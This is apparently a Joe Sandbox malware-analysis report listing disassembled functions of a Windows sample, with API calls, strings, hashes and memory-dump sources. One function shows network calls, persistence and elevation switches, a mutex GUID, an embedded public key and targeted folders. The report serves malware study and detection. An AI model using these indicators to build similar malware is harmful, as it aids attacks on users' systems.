Opcode ID: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction ID: 087b2bebdc2557dfc11b9d227fc87e3786120b2ced0b6428da1b5f66d3417910
Opcode Fuzzy Hash: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction Fuzzy Hash: 93710871A00B27ABE72C9F79CC41B6AB3B9AF10774F14427AE614E7680E770D9458BD0

Function 0231650E Relevance: 16.6, APIs: 11, Instructions: 131
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__invoke_watson.LIBCMT ref: 02316547
__calloc_crt.LIBCMT ref: 02316598
__lock.LIBCMT ref: 023165AE
__copytlocinfo_nolock.LIBCMT ref: 023165BF
_wcscmp.LIBCMT ref: 023165F9
__lock.LIBCMT ref: 02316610
__updatetlocinfoEx_nolock.LIBCMT ref: 02316622
___removelocaleref.LIBCMT ref: 02316628
__updatetlocinfoEx_nolock.LIBCMT ref: 02316647

Memory Dump Source

Source File: 00000005.00000002.2081672859.00000000022F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_22f0000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: Ex_nolock__lock__updatetlocinfo$___removelocaleref__calloc_crt__copytlocinfo_nolock__invoke_watson_wcscmp
String ID:
API String ID: 3432600739-0
Opcode ID: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction ID: 8cc152f47b4ae09e9f0b2ff590267cff9b750f4505683926dbc31e6418e6dc7e
Opcode Fuzzy Hash: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction Fuzzy Hash: BD413732904304AFDB28EFE4DD82B9E7BFAEF48314F10842DEA1496190DB759644DF21

Function 023184AB Relevance: 16.6, APIs: 11, Instructions: 92
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___crtCorExitProcess.LIBCMT ref: 023184B1
_free.LIBCMT ref: 023184E2
_free.LIBCMT ref: 023184F5
_free.LIBCMT ref: 02318513
_free.LIBCMT ref: 02318525
_free.LIBCMT ref: 02318536
_free.LIBCMT ref: 02318541
_free.LIBCMT ref: 02318565
_free.LIBCMT ref: 02318581
_free.LIBCMT ref: 02318597
_free.LIBCMT ref: 023185BF

Memory Dump Source

Source File: 00000005.00000002.2081672859.00000000022F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_22f0000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: _free$ExitProcess___crt
String ID:
API String ID: 1022109855-0
Opcode ID: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction ID: 276a0de6bdf9a66a4f1fd82e9b55f5f6f0120e6987e27b313804ff2478f2a563
Opcode Fuzzy Hash: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction Fuzzy Hash: A531D231900254DFEF29AF15FC8088D77A6FB14324714862AEA48572B0CFF469C9EF98

Function 0233FC0C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0233FC1F

Part of subcall function 0232169C: std::exception::_Copy_str.LIBCMT ref: 023216B5

__CxxThrowException@8.LIBCMT ref: 0233FC34
std::exception::exception.LIBCMT ref: 0233FC4D
__CxxThrowException@8.LIBCMT ref: 0233FC62
std::regex_error::regex_error.LIBCPMT ref: 0233FC74

Part of subcall function 0233F914: std::exception::exception.LIBCMT ref: 0233F92E

__CxxThrowException@8.LIBCMT ref: 0233FC82
std::exception::exception.LIBCMT ref: 0233FC9B
__CxxThrowException@8.LIBCMT ref: 0233FCB0

Strings

leM, xrefs: 0233FCA8

Memory Dump Source

Source File: 00000005.00000002.2081672859.00000000022F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_22f0000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception$Copy_strstd::exception::_std::regex_error::regex_error
String ID: leM
API String ID: 3569886845-2926266777
Opcode ID: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction ID: 301fc74c1e5dd13ed05acd3770909217fd8efc3604fc464587fd36b5f5c36a20
Opcode Fuzzy Hash: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction Fuzzy Hash: 5311C879C0020DBBCF00FFA5D995CEEBBBDAA04344F408566AD5897641EB74A34C8F94

Function 022FF010 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 022FF01F

Part of subcall function 02311602: __FF_MSGBANNER.LIBCMT ref: 02311619
Part of subcall function 02311602: __NMSG_WRITE.LIBCMT ref: 02311620

_malloc.LIBCMT ref: 022FF02B
_wprintf.LIBCMT ref: 022FF03E
_free.LIBCMT ref: 022FF044
_free.LIBCMT ref: 022FF065
_malloc.LIBCMT ref: 022FF06D
_sprintf.LIBCMT ref: 022FF0C0
_wprintf.LIBCMT ref: 022FF0D2
_wprintf.LIBCMT ref: 022FF0DC
_free.LIBCMT ref: 022FF0E5

Memory Dump Source

Source File: 00000005.00000002.2081672859.00000000022F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_22f0000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: _free_malloc_wprintf$_sprintf
String ID:
API String ID: 3721157643-0
Opcode ID: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction ID: 44dc6fb7a3bd1c5f5fe786dc6857eff26dd6f11c6e6e54b866115a28beabf4ca
Opcode Fuzzy Hash: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction Fuzzy Hash: 331103B29106647AC271A6F55C11FFF7BED9F46702F0800A9FF8CD1180EB595A049BB1

Function 02301960 Relevance: 13.6, APIs: 9, Instructions: 149COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 023019C6
__CxxThrowException@8.LIBCMT ref: 023019F1
__CxxThrowException@8.LIBCMT ref: 02301A1A
__CxxThrowException@8.LIBCMT ref: 02301A4B
_memset.LIBCMT ref: 02301A6A
__CxxThrowException@8.LIBCMT ref: 02301A90
_malloc.LIBCMT ref: 02301AA0
_memset.LIBCMT ref: 02301AAB
_sprintf.LIBCMT ref: 02301ACE

Memory Dump Source

Source File: 00000005.00000002.2081672859.00000000022F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_22f0000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset$_malloc_sprintf
String ID:
API String ID: 65388428-0
Opcode ID: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction ID: 2facc6e147557cf24a4d7d1f8a5d0790711c9238441cf0818af4c2032633aaa2
Opcode Fuzzy Hash: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction Fuzzy Hash: 55516D71D40219ABDB21DBA5DD86FEFBBB9FF04704F100025F949F6180EB746A058BA5

Function 022FF210 Relevance: 10.7, APIs: 7, Instructions: 165COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 022FF284
__CxxThrowException@8.LIBCMT ref: 022FF2AF
__CxxThrowException@8.LIBCMT ref: 022FF2DE
__CxxThrowException@8.LIBCMT ref: 022FF30F
_memset.LIBCMT ref: 022FF32E
__CxxThrowException@8.LIBCMT ref: 022FF354
_sprintf.LIBCMT ref: 022FF373

Memory Dump Source

Source File: 00000005.00000002.2081672859.00000000022F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_22f0000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction ID: 76583b2e27606b58d1fea02b42070e3873940266861569bbd5c4d703eb3d4d7c
Opcode Fuzzy Hash: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction Fuzzy Hash: D8515FB1D50249AADF21DFE1DD86FEEBB79EB04704F100029FA05B61C0D7B5AA058FA5

Function 022FF440 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 022FF4B7
__CxxThrowException@8.LIBCMT ref: 022FF4E2
__CxxThrowException@8.LIBCMT ref: 022FF504
__CxxThrowException@8.LIBCMT ref: 022FF535
_memset.LIBCMT ref: 022FF554
__CxxThrowException@8.LIBCMT ref: 022FF57A
_sprintf.LIBCMT ref: 022FF594

Memory Dump Source

Source File: 00000005.00000002.2081672859.00000000022F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_22f0000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction ID: 9566c9fb456abc0271adc1b2daa97916e8e03bb9c00753473928fbc8d8fae9b1
Opcode Fuzzy Hash: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction Fuzzy Hash: BC514071D40249AADF21DFE1DD86FEFBBB9EB04704F100129FA05B61C0E774AA058BA4

Function 0233208B Relevance: 9.1, APIs: 6, Instructions: 112COMMON

Download Yara Rule

APIs

__getenv_helper_nolock.LIBCMT ref: 023320C6
__invoke_watson.LIBCMT ref: 02332120
_strlen.LIBCMT ref: 023320D4

Part of subcall function 02315BA8: __getptd_noexit.LIBCMT ref: 02315BA8

_strnlen.LIBCMT ref: 0233215F
__lock.LIBCMT ref: 02332170
__getenv_helper_nolock.LIBCMT ref: 0233217B

Memory Dump Source

Source File: 00000005.00000002.2081672859.00000000022F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_22f0000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: __getenv_helper_nolock$__getptd_noexit__invoke_watson__lock_strlen_strnlen
String ID:
API String ID: 3534693527-0
Opcode ID: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction ID: 702fc956e582f17bc45256e0920f539d9de71185ec885072f8fc55206ad697bf
Opcode Fuzzy Hash: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction Fuzzy Hash: 74310672A00225ABDB376B64DC00B6F77AA9F45B24F104415ED04EB294DB78CE45CBE1

Function 023B66D9 Relevance: 9.1, APIs: 6, Instructions: 100COMMON

Download Yara Rule

APIs

__getptd_noexit.LIBCMT ref: 023B66DD

Part of subcall function 023159BF: __calloc_crt.LIBCMT ref: 023159E2
Part of subcall function 023159BF: __initptd.LIBCMT ref: 02315A04

__calloc_crt.LIBCMT ref: 023B6700
__get_sys_err_msg.LIBCMT ref: 023B671E
__invoke_watson.LIBCMT ref: 023B673B
__get_sys_err_msg.LIBCMT ref: 023B676D
__invoke_watson.LIBCMT ref: 023B678B

Memory Dump Source

Source File: 00000005.00000002.2081672859.00000000022F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_22f0000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: __calloc_crt__get_sys_err_msg__invoke_watson$__getptd_noexit__initptd
String ID:
API String ID: 4066021419-0
Opcode ID: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction ID: 6ccf6c67a65a9c95a38602fd6cc3f8eca3f79178c868cf02df8e2a914f8f0d4a
Opcode Fuzzy Hash: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction Fuzzy Hash: D011BF726002187BEB366E25DC03BEA739EDF407A0B000466FF08A6E42E721D9014EE5

Function 02302670 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 382COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 023026DB
_memset.LIBCMT ref: 02302A30
_memset.LIBCMT ref: 02302AC0

Strings

D, xrefs: 02302AC8

Memory Dump Source

Source File: 00000005.00000002.2081672859.00000000022F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_22f0000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: _memset
String ID: D
API String ID: 2102423945-2746444292
Opcode ID: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction ID: 50d1ab2d2a2b3f642f4d8fe80a611ec0374003c95973297d4fb85a84837b66cf
Opcode Fuzzy Hash: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction Fuzzy Hash: 90E15D71D00219ABDF24DFA0CD99FEFB7B8BF04704F144069EA09A6590EB74AA45CF64

Function 022FD8B0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 228COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 022FD8EA

Strings

$, xrefs: 022FDAE2
(, xrefs: 022FDAE9
, xrefs: 022FDADB

Memory Dump Source

Source File: 00000005.00000002.2081672859.00000000022F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_22f0000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: _memset
String ID: $$$(
API String ID: 2102423945-3551151888
Opcode ID: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction ID: 6c9e232503ec9a993c1368f2f3f9e513b12a9daaacdbb9efc0417ce02424283e
Opcode Fuzzy Hash: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction Fuzzy Hash: 6A91BC71C00219AAEF24CFE0CC99BEEBBB5AF05308F244169D605772C4DBB65A48CF65

Function 02315CE1 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 91COMMONLIBRARYCODE

Download Yara Rule

APIs

_wcsnlen.LIBCMT ref: 02315CF4

Strings

U, xrefs: 02315CFD

Memory Dump Source

Source File: 00000005.00000002.2081672859.00000000022F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_22f0000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: _wcsnlen
String ID: U
API String ID: 3628947076-3372436214
Opcode ID: ddbdfe4e8834e254b395da421ec3c28ac3be050359a4b81b0499ab3bd56dfaa9
Instruction ID: c4c86d21f2474c9d6554ce36076c717e103dc24d36ab8d2b1730b8ce555931a9
Opcode Fuzzy Hash: ddbdfe4e8834e254b395da421ec3c28ac3be050359a4b81b0499ab3bd56dfaa9
Instruction Fuzzy Hash: 5921E732618308BEEB189BA4DC45FBE73ADDB85760F904175F908CA190FB71E9448BA4

Function 0230A810 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0230A858
_memset.LIBCMT ref: 0230A869
_memset.LIBCMT ref: 0230A87A

Strings

p2Q, xrefs: 0230A882

Memory Dump Source

Source File: 00000005.00000002.2081672859.00000000022F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_22f0000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: _memset
String ID: p2Q
API String ID: 2102423945-1521255505
Opcode ID: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction ID: d619ab9d09d8e07ee2f8f82fb551704e8c787f376bdd3df4038f4784e67698cf
Opcode Fuzzy Hash: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction Fuzzy Hash: 39F0E578694790A5F7257B50BC267857D927B36B08F104049D1142E2E1D3FD234C6799

Function 0233FBDE Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0233FBF1

Part of subcall function 0232169C: std::exception::_Copy_str.LIBCMT ref: 023216B5

__CxxThrowException@8.LIBCMT ref: 0233FC06

Strings

TeM, xrefs: 0233FBFB, 0233FBE7
TeM, xrefs: 0233FBFE

Memory Dump Source

Source File: 00000005.00000002.2081672859.00000000022F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_22f0000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: Copy_strException@8Throwstd::exception::_std::exception::exception
String ID: TeM$TeM
API String ID: 3662862379-3870166017
Opcode ID: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction ID: a4689286905f39c5e7c3657fa67e6f07a65ede1215a649f47cdfded8a32d2fd7
Opcode Fuzzy Hash: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction Fuzzy Hash: E1D06775C0025CBBCB00EFA5D599CDDBBB9AA04344B008466AD5897241EA74A34D8F94

Function 022FD0E0 Relevance: 6.3, APIs: 4, Instructions: 254COMMON

Download Yara Rule

APIs

Part of subcall function 0231197D: __wfsopen.LIBCMT ref: 02311988

_fgetws.LIBCMT ref: 022FD15C

Memory Dump Source

Source File: 00000005.00000002.2081672859.00000000022F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_22f0000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: __wfsopen_fgetws
String ID:
API String ID: 853134316-0
Opcode ID: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction ID: c1ff68dda20fc66549f85e75c149b297375d149b4ef4bc2ff8adbc1f2abab41b
Opcode Fuzzy Hash: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction Fuzzy Hash: 1591CE72D1021A9BCB65DFA4CC84BAEF7B5AF04304F140539EA19A7244E7B5AA04CFE1

Function 022FD540 Relevance: 6.2, APIs: 4, Instructions: 240COMMON

Download Yara Rule

APIs

__except_handler4.MSVCRT ref: 022FD77E
_malloc.LIBCMT ref: 022FD7B2
_malloc.LIBCMT ref: 022FD7C1
_fprintf.LIBCMT ref: 022FD815

Memory Dump Source

Source File: 00000005.00000002.2081672859.00000000022F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_22f0000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: _malloc$__except_handler4_fprintf
String ID:
API String ID: 1783060780-0
Opcode ID: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction ID: 9c87fc3cf5649a5acefb7209b0f14ef4e6343a23307587915d40aeb034b9fdbf
Opcode Fuzzy Hash: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction Fuzzy Hash: 34A160B1C00258DBEF25EFE4C845BDEBBB6AF14308F140068D50577291D7B65A58CFA6

Function 02312AD0 Relevance: 6.2, APIs: 4, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 02312B2E
__read_nolock.LIBCMT ref: 02312BFE
__filbuf.LIBCMT ref: 02312C21
_memset.LIBCMT ref: 02312C65

Part of subcall function 02315BA8: __getptd_noexit.LIBCMT ref: 02315BA8

Memory Dump Source

Source File: 00000005.00000002.2081672859.00000000022F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_22f0000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock
String ID:
API String ID: 2974526305-0
Opcode ID: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction ID: c6d9b515af66796e22a0b0869b20990f3e5d3d11f54ecfb3db89a668de3a405f
Opcode Fuzzy Hash: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction Fuzzy Hash: 23519E70A0032A9FDB2D8F798C846AFB7B6AF40328F24C729ED35966D0D7719951CB44

Function 02331359 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 0233137D

Part of subcall function 02331A9D: __fltout2.LIBCMT ref: 02331AC6

__cftog_l.LIBCMT ref: 023313A3
__cftoe_l.LIBCMT ref: 023313D5

Memory Dump Source

Source File: 00000005.00000002.2081672859.00000000022F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_22f0000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction ID: e6e4e37199862566ae09b99871e1e6bdd1c17b47d26fad3ba414d84d51736180
Opcode Fuzzy Hash: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction Fuzzy Hash: 8A014B3240014EBBCF235E88DC41CEE3F67BB19365B488515FA9D58930D336C6B1AB81

Function 023B7A34 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 023B7A4B

Part of subcall function 023B8140: ___BuildCatchObjectHelper.LIBCMT ref: 023B8172
Part of subcall function 023B8140: ___AdjustPointer.LIBCMT ref: 023B8189

_UnwindNestedFrames.LIBCMT ref: 023B7A62
___FrameUnwindToState.LIBCMT ref: 023B7A74
CallCatchBlock.LIBCMT ref: 023B7A98

Memory Dump Source

Source File: 00000005.00000002.2081672859.00000000022F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_22f0000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: Catch$BuildObjectUnwind$AdjustBlockCallFrameFramesHelperNestedPointerState
String ID:
API String ID: 2901542994-0
Opcode ID: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction ID: f1947c279238f01c1212ee6b0448dbacf865ee6bee871f67d7e2952f5c19d847
Opcode Fuzzy Hash: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction Fuzzy Hash: F701D732100109BBCF23AF55CC01EEA7BBAEF89758F158014FE1865A21D732E961DFA0

Analysis Process: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exePID: 5316, Parent PID: 320COMMON

Execution Graph

Execution Coverage:	6.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	15%
Total number of Nodes:	2000
Total number of Limit Nodes:	188

Executed Functions

Function 00419F90 Relevance: 178.3, APIs: 65, Strings: 36, Instructions: 1565COMMON

Download Yara Rule

APIs

Part of subcall function 0040CF10: _memset.LIBCMT ref: 0040CF4A
Part of subcall function 0040CF10: InternetOpenW.WININET(Microsoft Internet Explorer,00000000,00000000,00000000,00000000), ref: 0040CF5F
Part of subcall function 0040CF10: InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040CFA6

GetCurrentProcess.KERNEL32 ref: 00419FC4
GetLastError.KERNEL32 ref: 00419FD2
SetPriorityClass.KERNEL32(00000000,00000080), ref: 00419FDA
GetLastError.KERNEL32 ref: 00419FE4
GetModuleFileNameW.KERNEL32(00000000,?,00000400,00000400,?,?,00000000,0062B030,?), ref: 0041A0BB
PathRemoveFileSpecW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0041A0C2
GetCommandLineW.KERNEL32(?,?), ref: 0041A161

Part of subcall function 004124E0: CreateMutexA.KERNEL32(00000000,00000000,{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}), ref: 004124FE
Part of subcall function 004124E0: GetLastError.KERNEL32 ref: 00412509
Part of subcall function 004124E0: CloseHandle.KERNEL32 ref: 0041251C

Strings

x2Q, xrefs: 0041A856
{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}, xrefs: 0041A8A0
D:\Windows\, xrefs: 0041AFF3
--AutoStart, xrefs: 0041A2EC
D:\Program Files (x86)\Internet Explorer\, xrefs: 0041B062
7P, xrefs: 0041B164
D:\Program Files\Internet Explorer\, xrefs: 0041B0CB
IsAutoStart, xrefs: 0041A1D0, 0041A273
list<T> too long, xrefs: 0041B669, 0041B673
runas, xrefs: 0041A6CE
--Admin, xrefs: 0041A1B4, 0041A632
--Service, xrefs: 0041A30B
C:\Program Files\Internet Explorer\, xrefs: 0041AF73
%username%, xrefs: 0041B283
C:\Program Files (x86)\Mozilla Firefox\, xrefs: 0041AE5B
<, xrefs: 0041A67B
F:\, xrefs: 0041B397
-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAup7xLNZcQ4MZOSDTvBj6\\n7Shvgof4dZwAEFfM4Qn6EvfybMldng8cq4, xrefs: 0041A255, 0041A37B, 0041A847, 0041A955, 0041A962, 0041A97F, 0041A980, 0041A9F2, 0041A9FF, 0041AA16, 0041AA17
--Task, xrefs: 0041A2CD
x*P, xrefs: 0041ACE4
D:\Program Files (x86)\Google\, xrefs: 0041B085
{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}, xrefs: 0041A8B6
C:\Program Files\Mozilla Firefox\, xrefs: 0041AF2D
--ForNetRes, xrefs: 0041A22E
C:\Windows\, xrefs: 0041AE0F
D:\Program Files\Google\, xrefs: 0041B0EE
IsNotTask, xrefs: 0041A654
D:\Program Files (x86)\Mozilla Firefox\, xrefs: 0041B02E
X1P, xrefs: 0041A485
I:\5d2860c89d774.jpg, xrefs: 0041B32F
C:\Program Files\Google\, xrefs: 0041AFB9
IsNotAutoStart, xrefs: 0041A645
C:\Program Files (x86)\Internet Explorer\, xrefs: 0041AEA1
C:\Program Files (x86)\Google\, xrefs: 0041AEE7
D:\Program Files\Mozilla Firefox\, xrefs: 0041B0A8
IsTask, xrefs: 0041A1EE, 0041A299

Memory Dump Source

Source File: 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.3274540267.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: ErrorLast$FileInternetOpen$ClassCloseCommandCreateCurrentHandleLineModuleMutexNamePathPriorityProcessRemoveSpec_memset
